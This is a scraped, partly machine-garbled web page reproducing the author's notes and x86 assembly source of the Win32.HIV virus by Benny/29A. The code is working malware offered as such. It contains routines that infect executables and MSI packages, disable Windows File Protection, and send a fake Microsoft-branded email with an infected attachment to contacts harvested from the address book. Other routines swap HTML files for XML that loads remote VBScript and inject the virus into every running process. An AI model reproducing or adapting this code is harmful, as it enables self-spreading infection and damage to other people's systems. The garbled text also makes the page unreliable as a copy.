Win32.hiv.asm

xiaoxiao2021-03-05  27

Where is Xomo know and know and know and know and know and know? Where is [hiv.asm]? Comment # 谀谀 谀? Which?? Win32.hiv? Where is the abuse? Where is it? Where is it? What is it? By Benny / 29A? What is it from Finally I finished? This Virus ... it TOOK Me More Than 8 Months To Code It.i Hope You Will Like IT and Enjoy The New Features It Presents.here Comes a Deep Description of Win32. Hiv ... kernel32 search Engine: Which is nine? The Virus Can Remember The Last Used Base Address of Kernel32.dll. If the lastone is not valid, it can check the standard addresses, Used Under Win95 / 98 / NT / 2K.Even IF none of these addresses r valid, it can search thru address space ofcurrent process and find the library Everything of this is protected byStructured Exception Handling.API searching mechanism:.? Nana Nana Nana Nana Nana Nana For Kernel32's APIz virus uses its own searching engine, using CRC32 insteadof stringz For APIz from other libraries it uses GetProcAddress from K32.Encryption of virus code:. Nana Nana Nana Nana Nana Nana which The virus is encrypted by simple XOR mechanism, the Encryption Constant Isgenerated Fro m the host code (the checksum) My idea for next viruses isto code slow-polymorphic engine, where the shape of virus will depend on hostcode checksum -. something like "virus code depends on hosts DNA"

:) AVerz willhave again some problems, becoz they will need to have enough different victimfilez to create valid pattern (for the scanner) .Direct action:? Which Nana Nana Nana The virus infects ALL PE filez (also inside MSI filez) . in current directory.Infection of PE filez is done by appending to the last section Infection ofPE filez inside MSIs is done by cavity algorithm: - find a cave inside .code section- put there viral code- modify entrypointInto these PE filez not whole virus will be copied, but only a small chunk ofcode, which will after execution display message and jump back to host Thiscan be called as a payload.The message loox like:. "[Win32.HIV] by Benny / 29A" "This cell has Been Infected by Hiv Virus, Generation: " 10-Char Number Ofvirus Generation In Decimal Format.EnTryPoint Obscuring: Which isxtiled to know which Yeah, this Virus Also Uses EPO, Which Means: Virus Doesn't Modify Entrypoint, IT IS Executed "In-Middle" of Execution of Host Program. Again, this istrick to fuck heuristic analysis:) IT OV Erwrites Procedure's Epilog by instruction. The Epilog Loox ESIKE: POP EDI 05FHPOP ESI 05EHPOP EBX 05BHLEVE 0C9HRET 0C3HEVEN IF The sequence couldn '

Time - this Will Takeaverz Some Time To Understand:) Multi-Process Residense: Where is Xiyomo? Where is Xiyo? This Virus Is Multi-Process Resident, Which Means It Can Become Resident INAll process in the system, not only in the current one Virus does: -. find some process- allocate memory in process and copy there virus itself- hook FindFirstFileA, FindNextFileA, CreateFileA, CopyFileA and MoveFileA APIz- find another process to infect and all again ... Very efficent Imagine -!.. you have executed WinCommander and accidently youwill execute virus The virus become resident in ALL process, includingWinCommander, so every file manipulation will be caught by virus If you willopen any file under WinCommander, virus will infect it !:) The infection runs in separated thread and execution is passed to host code, so you should not recognize any system slow down Also, the ExitProcess API ishooked, so the process can be terminated only when the infection is finished.Per-process. Residency - hooking INTERNET: Where is Xiyomo know and know which Ah, Yeah, this is real tricky stuff. The Virus Tries to hook InternetconnectaApi from Wininet.dll. If The host program Will Establish . FTP connection, viruswill transfer itself by FTP to the root directory and this really worx:!) SFC stuff: Nana Nana which All Win2k compatbile infectorz used SfcIsFileProtected API to check if victimfiles r protected by system and if so, they didn? '

THIS infectorcan disable sfc underwin98 / 2k / me, so all filez (even the system ones) can be beinfected! I would like to Thank Darkman for his ideaz and sfc code.mail spreading: Which is 1 what The virus finds in registry the location of default address book file of OutlookExpress, gets 5 mail addresses from there and sends there infected XML document (see bellow) .HTML infection (XML stuff): Nana Nana Nana Nana Nana Nana Nana Here I would like to thank Rajaat for his XSL idea (see XML stuff in 29A4) .The algorithm of HTML infection loox like: - virus will disable showing extensions of HTML filez by adding "NeverShowExt" item to file properties in registry- then create exactly same icon for XML filez as HTML filez have (now inexplorer XML filez should look like HTML filez) - find all .HTML filez in current directory- delete them and create new filez with the same name and .HTML.XML EXTENSION- WRITE THERE XML CODE: This cell has been infected by HIV virus, generation:. XXXXXXXXXX press.txt is XSL - XML ​​stylesheet, which is loaded together with XML file andcan be placed anywhere on the internet This XSL contains VBScript which willinfect computer XML loox like clean - in fact, it is, but it uses template, which is infected I l0ve this stuff ... :-) NTFS stuff:. Nana Nana Nana The virus compresses infected filez placed. on NTFS, so the infected filezare usually smaller than the clean copies ... user should not recognize anyspace eating ...;) Also, it contains next payload - using file streamz on NTFS.Every infected file on NTFS will have new stream " : HIV "Containing Message:"

This Cell Has Been Infected by Hiv Virus, Generation: " 10-Char Number OFvirus Generation In Decimal Format.all of this Does Not Work with MSI Filez.anti- *: Which Yeah, The Virus Uses Some Anti- * featurez, against debuggerz (check "debug_stuff" procedure), heuristics (SALC opcode, non-suspicious code, EPO) and AVerz (infected PE files grows by 16384 bytes, about 6,5 kb of virus code, the restis data from the end Of Host - If You Will Open THE FILE AND Go To Eof, YouWill NOT FIND Any Virus:) Other Features: Which is 1? Which of the Virus Doesn't Check Extensions of Victim Files, It Just Opens the File andchex THE internal format, if the file is suitable for infection.Also, the bug can correct the checksum of infected file (if it is needed), sothere should not be any problem with infection of some files under WinNT / 2k.Known bugz: Nana Which here I would like to thank Perikles and paddingx for beta-testing win32.hiv.i Tried to fix all Possible Bugz, But no program is bug-free, Right?: P 谀谀? ? Some Comments Which is amused? That Was The Small Description of the Virus. I Was Coding It Verz Long Time, Since The Winter 2000, Right After Win2k.installer Was Released. My IDEA WAS TOCODE Virus Which Could Defeat OS immunity ". Heh, and becoz the HIV virus doesthe same with human body, I decided to name my virus so.This virus passed with me all my personal problems and happiness. This yearmy life was like on the rolercoaster. Once up, once down Everything importantthat happened to me ... There Was this Virus with me ... I'm Glad That I finishedit, But I Also feel Nostalgy.well, I would like to greet some of my friends That helped me or just werewith ME and created good atmosphere of all the year.darkman: That '

Sa piTes We COULDN'T CODE NEXT Common Virus. However, Thnx for Yer Help, Yer MORAL Support and Everything ... Comeback to vx! Griyo & Maia: It was real wonderful time in brno. I'm Glad That You Came .Just say weeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeed:) Rajaat: Many many many thnx for the atmosphere you created on ourmeeting ... I really enjoyed it Shroomz 4ever :) btw, I wantthose CDs of Timothy Leary and Kate Bush :-) Ratter:.! Don ' T thisk you are, know you are! skag: psychedelic drugz rulez: pperikles: Thank for Beta-testing dude! PaddingX: --------- "----------- -Gigabyte: Very Nice Time In brno ... but'ta ... Next Time: Speak Slowly:) Lada: Rather Yes Than Ratter No :-) THNX for The Best Holidayz I'veever Had.Petra: H3Y4, Y4 G0T V3ry NIC3 B0DY:) Queenie: / me hugs Ya: DTIMothy Leary: Hey Man, Ya Rule, Yer Death Is The Biggest Lost for The Worldin this age ... thnx to marilyn manson, beatles, think, beach boys, timothy learning, Kate Bush (Hi Rajaat :) and other groupz / ppl for inssion. #PID equ 376.386p; 386 protected mode instructions.model flat; flat modelinclude MZ.inc; some important include filesinclude PE.incinclude Win32API.incinclude UseFul.incextrn ExitProcess: PROC; APIs for first generation of virusPROCESS_VM_OPERATION equ 0008h; some equatesPROCESS_VM_READ equ 0010hPROCESS_VM_WRITE equ 0020hPROCESS_QUERY_INFORMATION equ 0400hvirus_size equ 16384; size of virus in the file and; memory @ getsz macro msg2psh, reg; macro to push NULL-terminated stringlocal next_instr; to stack and pop address to registercall next_instrdb msg2psh, 0next_instr: pop regendmj_api macro API; macro To Construct JMP DWORD PTR [xxxxxxx] DW 25ffhapi DD? endm.datastart:;

start of virus in the filepush offset E_EPO; save EPO address to stack (*) epo_pos = dword ptr $ -4pushad; store all registers @ SEH_SetupFrame ; setup SEH framecall gdelta; get delta offsetgdelta: pop ebp; to EBPlea esi , [ebp encrypted - gdelta]; get start of encrypted partmov edi, esi; save it to EDImov ecx, (end_virus-encrypted 3) / 4; size of encrypted part in DWORDsdecrypt: db 0D6h; SALC opcode - ANTI-heuristiclodsd ; get encrypted bytexor eax, 12345678h; decrypt itdecr_key = dword ptr $ -4stosd; and save itloop decrypt; do it ECX-timezencrypted:; encrypted part of virusdb 0D6h; anti-heuriticcall get_base; get base address of K32mov [ebp k32_base - gdelta], eax; save itcall get_apis; get addresses of all needed APIscall debug_stuff; check for debuggermov eax, 12345678h; get generation number to EAXgeneration_count = dword ptr $ -4lea edi, [ebp gcount - gdelta] call Num2Ascii; save generation number In; Decimal FormatCall SFC_STUFF98; Disable SFC Under Win98Call SFC_STUFFME; DISAB le SFC under WinMEcall sfc_stuff2k; disable SFC under Win2kcall html_stuff; infect ALL HTML documents in; current directory; direct action - infect all PE filez in current directorylea esi, [ebp WFD - gdelta]; WIN32_FIND_DATA structurepush esi; save its address @ pushsz '. * *'; search for all filezcall [ebp a_FindFirstFileA - gdelta]; find first fileinc eaxje e_find; quit if not founddec eaxpush eax; save search handle to stackf_next: call CheckInfect; infect found filepush esi; save WFD structurepush dword ptr [ESP 4]; and search handle from stackcall [EBP A_FINDNEXTFILEA - GDELTA]; Find Next FileTest Eax, EAXJNE F_NEXT; and INFECT ITF_CLOSE: CALL [EBP

a_FindClose - gdelta]; close search handlee_find: call wab_parse; get 5 addresses from .WAB filecall mapi_stuff; and send there infected XML documentand dword ptr [ebp r2rp - gdelta], 0; set 0 - host programand dword ptr [ebp ep_patch - gdelta], 0; semaphore for ExitProcess API; now we will hook InternetConnectA API of host programand dword ptr [ebp inet_k32 - gdelta], 0; use WININET librarylea eax, [ebp newInternetConnectA - gdelta]; address of new handlersub eax , [ebp image_base - gdelta]; correct it to RVApush eax; save itpush 06810962Dh; CRC32 of InternetConnectAmov eax, 400000h; image base of host fileimage_base = dword ptr $ -4call patch_IT; hook APImov [ebp oldInternetConnectA - gdelta], eax ; save old addressmov [ebp inet_k32 - gdelta], ebp; use K32 library; now we will hook ExitProcess API of host program so host program could; be terminated only when virus thread will finish its actionlea eax, [ebp newExitProcess - gdelta Address of New Handlersub EAX, [EBP Image_BASE - GD elta]; correct it to RVApush eax; save itpush 040F57181h; CRC32 of ExitProcessmov eax, 400000h; image base of host fileimage_base = dword ptr $ -4call patch_IT; hook APItest eax, eaxje end_host; quit if errormov [ebp oldExitProcess - gdelta] , EAX; Save Old Addressmov Eax, CS; Get Cs to Eaxxor Al, Al; Nulify Lsbtest Eax, EAX; EAX IS 0, IF WE RJNE END_HOST; Under Winnt / 2k ...; Now We Will Create Thread Which Will Try T infect all K32s in all; processes - multi-process residencycall _tmptmp dd; temporary variable_tmp:? xor eax, eaxpush eaxpush ebplea edx, [ebp searchThread - gdelta] push edxpush eaxpush eaxcall [ebp a_CreateThread - gdelta]; create new threadxchg eax , ECXJECXZ END_HOST;

quit if errorpush eaxcall [ebp a_CloseHandle - gdelta]; close its handleend_host: @SEH_RemoveFrame; remove SEH framemov edi, [esp.cPushad]; get EPO address (*) mov eax, 0C95B5E5Fh; restore host codestosd; ... mov al , 0C3h; ... stosb; ... popad; restore all registersret; and jump back to host; this procedure can disable WinME's SFCsfc_stuffME Procpushad; store all registers @ SEH_SetupFrame ; setup sEH framelea edi, [ebp reg_buffer - gdelta]; where to save path to windircall get_win_dir; get pathtest eax, eaxje end_seh; quit if errorpush ediadd edi, eaxcall @sfcmedb '/SYSTEM/sfp/sfpdb.sfp',0; store the path @ sfcme: pop esipush 22pop ecxrep movsbpop ebxcall Create_FileA; open the fileinc eaxje end_sehdec eaxxchg eax, esipush 0push esicall [ebp a_GetFileSize - gdelta]; get file size to EDIxchg eax, edimov [ebp sfcme_size - gdelta], edi; save itpush PAGE_READWRITEpush MEM_RESERVE or MEM_COMMITpush edipush 0call [EBP A_VIRTUALLOC - GDELTA]; Allocate Buffer for Filetest Eax, Eaxje SFCM e_filexchg eax, ebx; address to EBXpush 0lea eax, [ebp tmp - gdelta] push eaxpush edipush ebxpush esicall [ebp a_ReadFile - gdelta]; read file content to our bufferpushad; store all registerzmov esi, ebx; ESI - address of buffermov ecx, edi; ECX - size of filemov edi, esi; EDI - ESIpush edi; save base address of bufferfind_comma: lodsb; load bytestosb; store itdec ecx; decrement countercmp al, ',' jne find_comma; find commafind_cr: dec esilodswdec ecxcmp ax , 0A0Dhjne find_cr; find CRLF sequencemov eax, 0A0D2C2Chstosd; save commas and CRLFinc ecxloop find_comma; do it in a looppop eax; get base address of buffersub edi, eax; EDI - size of datamov [esp.Pushad_eax], edi; save itpopad;

restore all registerzpush eax; store size to stackxor eax, eaxpush eaxpush eaxpush eaxpush esi; move to beginning of filecall [ebp a_SetFilePointer - gdelta] pop ecxpush 0lea eax, [ebp tmp - gdelta] push eaxpush ecxpush ebxpush esicall [ebp a_WriteFile - gdelta]; write modified data (unprotectpush esi; filez under WinME :-) call [ebp a_SetEndOfFile - gdelta]; set EOFpush MEM_DECOMMITpush 12345678hsfcme_size = dword ptr $ -4push ebxcall [ebp a_VirtualFree - gdelta] push MEM_RELEASEpush 0push ebxcall [ebp a_VirtualFree - gdelta]; release buffer memoryjmp sfcme_file; close file and quitsfc_stuffME EndP; this procedure can disable Win98's SFCsfc_stuff98 Procpushad; store all registers @ SEH_SetupFrame ; setup sEH framelea edi, [ebp reg_buffer - gdelta]; where to save path to windircall get_win_dir; get pathtest eax, eaxje end_seh; quit if errormov ebx, edi; ECX = pointer to reg_bufferadd edi, eaxmov eax, 'FED /'; Store '/DEFAULT.SFC' after thestosd; Windows directorymov eax, ' Tlu A'stosdmov eax, 'CFS.'stosdcall Create_FileA; open fileinc eaxje end_seh; quit if errorxchg eax, esidec esi; ESI = file handlelea eax, [ebp tmp - gdelta] push 0push eaxpush sfc98-_sfc98call sfc98_sfc98: db' VF ' , 00H, 01H, 01H, 0FH DUP (00H), 'f', 00h, 00h, 03H, 00h, 'c: /' sfc98: Push ESI; WRITE NEW SFC Record - DisableCall [EBP A_WRITEFILE - GDELTA]; SFC under Win98 :-) push esicall [ebp a_SetEndOfFile - gdelta]; truncate filesfcme_file: push esicall [ebp a_CloseHandle - gdelta]; close filejmp end_seh; and quitsfc_stuff98 EndP; retrieve windows directory path from registry to EDIget_win_dir: push MAX_PATHpush edi @ pushsz '

windir '; store path to windows directorycall [ebp a_GetEnvironmentVariableA - gdelta] ret; this procedure can disable Win2k's SFCsfc_stuff2k Procpushad; store all registers @ SEH_SetupFrame ; setup SEH frame @ getsz' /WINNT/System32/sfcfiles.dll ' , edi; path filenamelea eax, [ebp WFD - gdelta] push eaxpush edi; find SFCFILES.DLL filesfcfile: call [ebp a_FindFirstFileA - gdelta] inc eaxje end_seh; quit if not founddec eaxmov [ebp find_handle - gdelta], eax; save it handlelea ebx, [ebp WFD.WFD_szFileName - gdelta] call Create_FileA; open fileinc eaxje end_sfcdec eaxmov [ebp hsFile - gdelta], eax; save handlecall Create_FileMappingA; create file mapping objectxchg eax, ecxjecxz end_scfilemov [ebp hsMapFile - gdelta], ecx; save handlecall Map_ViewOfFile; and map view of file to ourxchg eax, ecx; address spacejecxz end_smfilemov [ebp lpsFile - gdelta], ecx; save handlemovzx eax, word ptr [ecx] add eax, - "ZM" JNE END_SFILE; MUST BE MZ Filemov EBX, [ECX.MZ_LFANEW] Add EBX, ECX; Move To PE HE adermovzx edx, word ptr [ebx.NT_FileHeader.FH_SizeOfOptionalHeader] lea edx, [edx ebx (3 * IMAGE_SIZEOF_FILE_HEADER 4)]; get to second section headercmp [edx], 'tad.'; must be ".data" jne end_sfilecmp byte ptr [edx 4], 'a'jne end_sfilemov esi, [edx.SH_PointerToRawData]; get start of .data sectionadd esi, ecx; make pointer RAWmov ecx, [edx.SH_SizeOfRawData]; get size of .data sectionsfc_parse: and dword ptr [esi], 0; nulify everything in thatlodsd; sectionsub ecx, 3; correct counterloop sfc_parse; do it ECX-timezend_sfile: push 12345678hlpsFile = dword ptr $ -4call [ebp a_UnmapViewOfFile - gdelta]; unmap view of file fromend_smfile: ;

our address spacepush 12345678hhsMapFile = dword ptr $ -4call [ebp a_CloseHandle - gdelta]; close handle of mapping objectend_scfile: lea eax, [ebp WFD.WFD_ftLastWriteTime - gdelta] push eaxlea eax, [ebp WFD.WFD_ftLastAccessTime - gdelta] push eaxlea eax, [ebp WFD.WFD_ftCreationTime - gdelta] push eaxpush dword ptr [ebp hsFile - gdelta] call [ebp a_SetFileTime - gdelta]; set back file timepush 12345678hhsFile = dword ptr $ -4call [ebp a_CloseHandle - gdelta] ; close fileend_sfc: push 12345678hfind_handle = dword ptr $ -4call [ebp a_FindClose - gdelta]; close search handlejmp end_seh; and quit from proceduresfc_stuff2k EndP; this procedure can:; 1) hide .XML extensions by registry modification; 2) assign. HTML icon to .xml files - .xml filez loox like .html filezhen; 3) Find all.html filez in current Directory, delete the and instead of the; create .html.xml file with "infected" XML inside; 4) Get Path FileName To Standard Outlook Express's Address Book (.wab file); from RegistryHTML _stuff Proc @ pushsz 'ADVAPI32'call [ebp a_LoadLibraryA - gdelta]; load ADVAPI32.DLL librarytest eax, eaxjne n_load_xmlret; quit if errorn_load_xml: xchg eax, ebx; EBX = base of ADVAPI32.DLL@getsz' RegCreateKeyA ', edxcall @ get_api; get address of RegCreateKeyA APIxchg eax, ecxjecxz end_xml_libmov esi, ecx; ESI = RegCreateKeyA @ getsz 'RegSetValueExA', edxcall @get_api; get address of RegSetValueA APIxchg eax, ecxjecxz end_xml_libmov edi, ecx; EDI = RegSetValueExA @ getsz 'RegCloseKey', EDXCALL @get_api; get address of regcloseKey Apixchg EAX, ECXJECXZ END_XML_LIBMOV [EBP A_REGCLOSEKEY - GDELTA], ECX;

save itcall hide_xml; hide .XMLcall chg_xml_icon; .XML icon = .HTML iconcall search_html; infect all .HTML filez in; current directoryend_xml_reg: push 12345678hreg_key = dword ptr $ -4call [ebp a_RegCloseKey - gdelta]; close registry keyend_xml_reg2: push dword ptr [ebp tmp - gdelta] mov eax, 12345678ha_RegCloseKey = dword ptr $ -4call eax; ... end_xml_lib: push ebxcall [ebp a_FreeLibrary - gdelta]; unload ADVAPI32.DLL libraryret; and quit; this procedure can copy icon from .html to .xml filez and get path filename of; default WAB filechg_xml_icon: lea ecx, [ebp reg_key - gdelta] push ecx @ pushsz 'htmlfile'push 80000000hcall esi; open "HKEY_CLASSES_ROOT / htmlfile" test eax, eaxpop eaxjne end_xml_reg2 ; quit if errorpush eax @ getsz 'RegQueryValueA', edxcall @get_api; get address of RegQueryValueA APIxchg eax, ecx; ECX = RegQueryValueAjecxz end_xml_libpushad; store all registerscall @ pword1dd MAX_PATH @ pword1: lea eax, [ebp wab_buffer - gdelta] push eax @PushSz 'Software / Microsoft / WAB / WAB4 / WAB FILE NAME 'Push 80000001hcall ecx; copy value of "HKEY_CURRENT_USER / popad; / Software / Microsoft / WAB / WAB4 / Wab File Name"; to wab_buffer variable - path filename of WAB filecall @ pword2dd MAX_PATH @ pword2: lea eax, [ebp reg_buffer - gdelta] push eaxcall @dicondef_ico: db 'DefaultIcon', 0 @ dicon: push dword ptr [ebp reg_key - gdelta] call ecx; get value of "HKEY_CLASSES_ROOT / htmlfile / DefaultIcon" test eax, eax; to reg_bufferpop eaxjne end_xml_regpush eaxlea ECX, [EBP TMP - GDELTA] PUSH ECXLEA ECX, [EBP DEF_ICO - GDELTA] PUSH ECXPUSH DWORD PTR [EBP TMP - GDELTA] CALL ESI; OPEN

HKEY_CLASSES_ROOT / xmlfile / DefaultIcon "test eax, eaxpop eaxjne end_xml_reg2push eaxlea esi, [ebp reg_buffer - gdelta] mov ecx, esi @ endszsub esi, ecxpush esipush ecxpush 2push 0push 0push dword ptr [ebp tmp - gdelta] call edi; write icon from / htmlfile to / xmlfiletest eax, eax; error pop eax; get return addressjne end_xml_reg; quitjmp eax; continue; address for getting API addresses; EBX - base of library; EDX - name of API @ get_api:? push edxpush ebxcall [ebp a_GetProcAddress - gdelta] ret; this procedure can hide extension of .XML filezhide_xml: lea ecx, [ebp tmp - gdelta] push ecx @ pushsz 'xmlfile'push 80000000hcall esi; open "HKEY_CLASSES_ROOT / xmlfile" test eax, eaxpop eaxjne end_xml_libpush eaxpush 0push ebppush 1push 0 @ pushsz 'NeverShowExt'push dword ptr [ebp tmp - gdelta] call edi; create new item - NeverShowExt - this willtest eax, eax; hide .XML extension under Windows.pop eaxjne end_xml_libjmp eax; this procedure can Infect All.html Documents in Current DirectorySearch_html: Pushad; Store Al l registerslea ebx, [ebp WFD - gdelta]; address of WFD recordpush ebx @ pushsz '* .html'; find some .HTML filecall [ebp a_FindFirstFileA - gdelta] inc eaxje end_html_search; quit if no .HTML file was founddec eaxmov [ebp fhtmlHandle - gdelta], eax; save search handlei_html: call infect_html; infect .HTML filepush ebx; WFD recordpush 12345678h; search handlefhtmlHandle = dword ptr $ -4call [ebp a_FindNextFileA - gdelta]; find next .HTML filetest eax, Eaxjne i_html; and infect itpush DWORD PTR [EBP FHTMLHANDLE - GDELTA] CALL [EBP A_FINDCLOSE - GDELTA]; Close Search Handlend_HTML_Search: Popad; Restore All Registersret;

and quit from procedure; this procedure can infect found .HTML fileinfect_html: pushad; store all registerslea esi, [ebx.WFD_szFileName]; found .HTML filepush esicall [ebp a_DeleteFileA - gdelta]; delete itpush esi @ endszdec esimov eax, 'lmx .'mov edi, esistosd; create .XML extensionxor al, alstosbpop ebxg_xml: call Create_FileA; create .HTML.XML filexchg eax, ediinc edije end_infect_htmldec edipush 0call @wftmpdd @wftmp: push end_xml-start_xmlcall end_xmlstart_xml:;? start of "infected" XML DocumentDB '' DB ''?> ' DB '' end_XML: Push Edicall [EBP A_WRITEFILE - GDELTA]; Write First Part of XML DocumentPush 0le EBX, [EBP @WFTMP-4 - GDELTA] Push EBXPUSH SZMSG-1-P_Msglea EAX, [EBP P_MSG - gdelta] push eaxpush edicall [ebp a_WriteFile - gdelta]; write message to XML documentpush 0push ebxpush 4call @endxmldb '' @ endxml: push edicall [ebp a_WriteFile - gdelta]; and final tagpush edicall [ebp A_CloseHandle - gdelta]; close fileend_infect_html: popad; restore all registersret; and quit - HTML is now infected:) html_stuff EndP; create infected c: /press.xml file @ i_html: pushad @ getsz 'c: /press.xml' , ebxjmp g_xml; this procedure can send "infected" XML document to via MAPI32mapi_stuff 5 mail addresses Procpushadcall @i_html; generate XML file @ pushsz 'MAPI32'; load MAPI32.DLL librarycall [ebp a_LoadLibraryA - gdelta] test eax, eaxje end_infect_htmlxchg eax , EBX; EBX - Base of Mapi32 @ getsz 'mapilogon', edxcall @get_api;

get address of MAPILogon APItest eax, eaxje end_mapixchg eax, esi; ESI - address of MAPILogon @ getsz 'MAPILogoff', edxcall @get_api; get address of MAPILogoff APItest eax, eaxje end_mapixchg eax, edi; EDI - address of MAPILogoff @ getsz 'MAPISendMail ', edxcall @get_api; get address of MAPISendMail APItest eax, eaxje end_mapimov [ebp a_MAPISendMail - gdelta], eax; save itxor edx, edxlea eax, [ebp tmp - gdelta]; mapi session ptrpush eaxpush edxpush edxlea eax, [ebp nextPID-1 - gdelta] push eaxpush eaxpush edxcall esi; log on to MAPI32test eax, eaxjne end_mapi; generate MAPI32 messagepush edilea edi, [ebp MAPIMessage - gdelta] stosd @ getsz 'XML presentation', eax; subjectstosdcall @msgbodydb 'Please Check Out this XML Presentation and Send US Your Opinion. ', 0DH, 0AHDB' IF You Have Any Questions About XML Presentation, Write US. ', 0DH, 0AH, 0DH, 0AH, 0DH, 0AHDB' Thank you, ', 0DH, 0AH, 0DH, 0AHDB 'THE XML Developement Team, Microsoft Corp.', 0 @ msgbody: Pop Eaxstosd; Message Bodyadd Edi, 4 @ Getsz '2010/06/06 22: 00', EAX; date and timestosdadd edi, 4push 2pop eaxstosdlea eax, [ebp MsgFrom - gdelta] stosd; senderpush 5pop eax; number of recipientsstosdlea eax, [ebp MsgTo - gdelta] stosd; recipientsxor eax, eaxinc eaxstosdlea eax, [ebp MAPIFileDesc - gdelta ] stosdadd edi, 4 * 2lea eax, [ebp nextPID-1 - gdelta] stosd @ getsz 'press @ microsoft.com', eaxstosd; senderadd edi, 4 * 2push 5pop ecxxor eax, eaxmsgTo: stosd; 0inc eaxstosd; 1dec eaxstosd 0imul EAX, ECX, 22HLEA EAX, [EAX EBP MAILS - GDELTA-22H] Stosd; Get Next Email Address from Wab - RecipientXor Eax, Eaxstosd; 0stosd; 0LOOP Msgto; 5 Timezadd EDI, 4 * 3Lea EAX, [EBP

@ I_html 6 - gdelta] stosd; name of file attachmentstosd; ... add edi, 4xor eax, eaxpush eaxpush eaxlea ecx, [ebp MAPIMessage - gdelta] push ecx; messagepush eaxpush dword ptr [ebp tmp - gdelta] mov eax, 12345678ha_MAPISendMail = dword ptr $ -4call eax; send E-MAIL pop edixor eax, eaxpush eaxpush eaxpush eaxpush dword ptr [ebp tmp - gdelta] call edi; close MAPI sessionend_mapi:! push ebxcall [ebp a_FreeLibrary - gdelta]; unload MAPI32.DLLpopad; restore all registersret; and quit from proceduremapi_stuff EndP; this procedure can get 5 e-mail addresses from Outlook Express'es default; address-book - .WAB filewab_parse Procpushad; store all registers @ SEH_SetupFrame ; setup sEH framelea ebx, [ebp wab_buffer - gdelta] call Create_FileA; open WAB fileinc eaxje end_seh; quit if errordec eaxmov [ebp wFile - gdelta], eax; store handlecall Create_FileMappingAxchg eax, ecx; create file mapping objectjecxz end_wfilemov [ebp WMAPFILE - GDELTA], ECX; Store HandleCall Map_Viewoffile; Map View of file to our address spacexchg eax, ecxjecxz end_wmfilemov [ebp wlpFile - gdelta], ecxjmp next_wab; save handleend_wab: push 12345678hwlpFile = dword ptr $ -4; unmap view of filecall [ebp a_UnmapViewOfFile - gdelta] end_wmfile: push 12345678hwMapFile = dword ptr $ -4; close file mapping objectcall [ebp a_CloseHandle - gdelta] end_wfile: push 12345678hwFile = dword ptr $ -4; close filecall [ebp a_CloseHandle - gdelta] jmp end_seh; quit from procedurenext_wab: mov esi, [ecx 60h] Get to e-mail addresses arrayadd ESI, ECX; Make Raw Pointerlea EDI, [EBP MAILS - GDELTA]; Buffer for 5 Mail Addressesxor EBX, EBX; EBX - 0PUSH 5POP ECX; ECX - 5M_LOOP: Call Parse_wab;

get one e-mail addressadd esi, 44h; get to next recordloop m_loop; ECX timezjmp end_wab; and quitparse_wab: push ecx; store registerspush esi; ... push 22hpop ecx; up to 22 charactersr_mail: lodsw; get unicode characterstosb; save ANSI characterdec ecx; decrement countertest al, al; end of string jne r_mail;? no, continueadd edi, ecx; yep, correct EDIpop esi; restore registerspop ecx; ... ret; and quitwab_parse EndP; this procedure can check if the virus is debugged and if so, it can restart; computer (Win98) or terminate current process (Win2k) debug_stuff Procpushadmov eax, fs: [20h]; get debug contexttest eax, eax; if API-level debugger is not present, je $ 4 ; EAX should be NULLk_debug: int 19h; kill process / computer:) call [ebp a_IsDebuggerPresent - gdelta] test eax, eax; check for API-level debuggerjne k_debug; kill if present @ getsz '//./SICE',ebx Name of driver to ebxcall create_filea; Open Softice Driver (WIN98) Inc Eaxjne K_Debug; kill if present @ getsz '//./ntice' Sik; Name of Driver To Ebxca ll Create_FileA; open SOFTICE driber (WinNT / 2k) inc eaxjne k_debug; kill if presentpopad; restore registersret; and continuedebug_stuff EndP; this procedure is designed to infect ALL processes - in each process it will; find K32, allocate memory for virus and hook some K32 callssearchThread Procpushad; store all registers @ SEH_SetupFrame ; setup sEH framemov ebp, [esp.cPushad 12]; get delta offsetxor ebx, ebx; EBX - PIDmov ecx, 80000h; set counternextPID: inc ebx; increment PIDpushad ; store all registerspush ebx; process idpush 0push process_vm_read or process_vm_write or process_vm_operation or process_query_information; try to get handle of processcall [EBP

a_OpenProcess - gdelta]; thru our ID test eax, eax; have we correct handle jne gotPID; yeah, ID is valid, infect process pid_loop: popad; restore all registersloop nextPID; nope, try it with another IDend_search: call @patchep_patch?! dd 0; synchronize variable for @ patch: pop eax; ExitProcess APImov [eax], eax; now, host program may be terminatedjmp end_seh; quitgotPID: xchg eax, ebx; handle to EBXmov esi, 12345678h; get K32 basek32_base = dword ptr $ -4; Now we have to get the size of k32 in another process. We use the trick; -> we will search thru the address space for the end of k32 in membory; and then the base address, so we will; get the sizestart_parse: push mbi_sizelea eax, [ebp mbi - gdelta]; MBI structurepush eaxpush esipush ebx; get informations aboutcall [ebp a_VirtualQueryEx - gdelta] test eax, eax; adress spaceje end_K32_patching; quit if error; is MEMORY COMMITED? TEST DWORD PTR [EBP REG_STATE - GDELTA], MEM_COMMITJE END_PARSE; quit if not, End of K32 f oundmov eax, [ebp reg_size - gdelta]; get size of regionadd [ebp k32_size - gdelta], eax; add the size to variableadd esi, eax; make new addressjmp start_parse; and parse againend_parse: sub esi, [ebp k32_base - gdelta]; correct to size and save itmov [ebp k32_size - gdelta], esi; (size = k32_end - k32_start) push PAGE_READWRITEpush MEM_RESERVE or MEM_COMMITpush esipush 0call [ebp a_VirtualAlloc - gdelta]; allocate enough spacetest eax, eax; for K32 in our processje end_K32_patchingxchg eax, edimov [ebp k32_copy - gdelta], edi; save the addresslea edx, [ebp tmp - gdelta] push edxpush 12345678hk32_size = dword ptr $ -4push edipush dword ptr [ebp k32_base - gdelta] push EBX;

